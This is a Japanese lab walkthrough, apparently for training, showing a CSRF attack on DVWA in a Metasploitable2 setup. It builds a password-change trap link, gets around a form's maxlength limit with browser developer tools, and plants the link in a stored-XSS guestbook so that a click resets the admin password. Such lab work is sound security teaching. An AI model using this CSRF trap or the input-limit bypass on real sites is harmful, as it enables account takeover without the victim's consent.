安全なウェブサイトの作り方:IPA 独立行政法人 情報処理推進機構
P.30「CSRF(クロスサイト・リクエスト・フォージェリ)」参照
Metasploitable2 の DVWA にログインする
- security Level : low を確認する
- 左欄から CSRF を選択。
"Change your admin password" と表示されるので、変更する。
ここでは "abc123" とする。
"Password Changed" と表示される。またこのとき、アドレスバーにパスワードが表示されてしまっている。
そこで、そのアドレスをコピーする。
次に、端末を立ち上げ、# vim csrf.txt
などとしてテキストエディターを起動し、そこに張り付ける。
(Windows のメモ帳でもいい)
これを元にして「CSRFの罠」を作成する。
- 最後の # を消す
- <a></a>タグに入れる
- 変更したパスワードの部分 "abc1123" を "元のパスワード : password" に戻す(2ヶ所)
- 保存して閉じる
http://192.168.56.105/dvwa/vulnerabilities/csrf/?password_new=abc123&password_conf=abc123&Change=Change#
↓
<a href="http://192.168.56.105/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change">Click Here</a>
確認
root@kali:~# cat csrf.txt
<a href="http://192.168.56.105/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change">Click Here</a>
DVWA からログアウトし、新しいパスワードでログインしてみる(User : admin, Password : abc123)
問題なければ、掲示板に罠を仕掛ける。
- 左欄から "XSS stored" を選択し Vulnerability: Stored Cross Site Scripting (XSS) を開く
- Name 欄を "csrf" Message 欄を先ほどのリンク "<a href="http://192.168.56.105/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change">ClickHere</a>" とする
しかしながら、途中までしか張り付けられない。
そこで、Message 欄を右クリックし "Inspect Element" を選び「開発ツール」を開く。
最大文字数「50」となっていることが分かる。
maxlength="50" から maxlength="200" に書き換える。
再度、メッセージ欄にコピペする。
今度はすべて貼り付けできたので "Sign Guestbook" をクリックして投稿する。
投稿されたメッセージの "Click Here" をクリックする。
すると "Password Changed" と表示される。かつ、ブラウザのアドレスバーに罠で仕掛けた新しいパスワードが表示されている。
一度ログアウトし、再度変更されたパスワード(User : admin, Password : password)でログインできるか確かめる。
ログインできたら、罠として仕掛けた CSRF が実行できたことが分かる。